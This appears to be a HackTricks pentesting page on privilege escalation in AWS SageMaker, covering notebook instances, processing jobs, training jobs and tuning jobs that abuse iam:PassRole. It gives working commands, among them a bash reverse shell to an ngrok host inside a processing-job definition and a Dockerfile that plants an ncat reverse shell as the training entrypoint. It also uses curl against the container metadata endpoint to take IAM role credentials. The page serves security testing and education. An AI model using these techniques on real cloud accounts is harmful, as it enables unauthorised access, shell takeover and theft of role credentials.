# AWS - Sagemaker Privesc

## AWS - Sagemaker Privesc

{{#include ../../../banners/hacktricks-training.md}}

### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

Start creating a noteboook with the IAM Role to access attached to it:

```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
    --instance-type ml.t2.medium \
    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```

The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready:

```bash
aws sagemaker create-presigned-notebook-instance-url \
    --notebook-instance-name <name>
```

Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.

Now It's possible to access the metadata credentials of the IAM Role.

**Potential Impact:** Privesc to the sagemaker service role specified.

### `sagemaker:CreatePresignedNotebookInstanceUrl`

If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**.

```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```

**Potential Impact:** Privesc to the sagemaker service role attached.

### `sagemaker:CreateProcessingJob,iam:PassRole`

An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**.

```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
    --processing-job-name privescjob \
    --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
    --app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
    --role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```

**Potential Impact:** Privesc to the sagemaker service role specified.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role.

> [!WARNING]
> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).
>
> ```bash
> # Create docker image
> mkdir /tmp/rev
> ## Note that the trainning job is going to call an executable called "train"
> ## That's why I'm putting the rev shell in /bin/train
> ## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
> cat > /tmp/rev/Dockerfile <<EOF
> FROM ubuntu
> RUN apt update && apt install -y ncat curl
> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
> RUN chmod +x /bin/train
> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
> EOF
>
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Upload it to ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> ```

```bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
    --training-job-name privescjob \
    --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
    --algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
    --role-arn <role-arn> \
    --output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
    --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
```

**Potential Impact:** Privesc to the sagemaker service role specified.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\
_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

{{#include ../../../banners/hacktricks-training.md}}



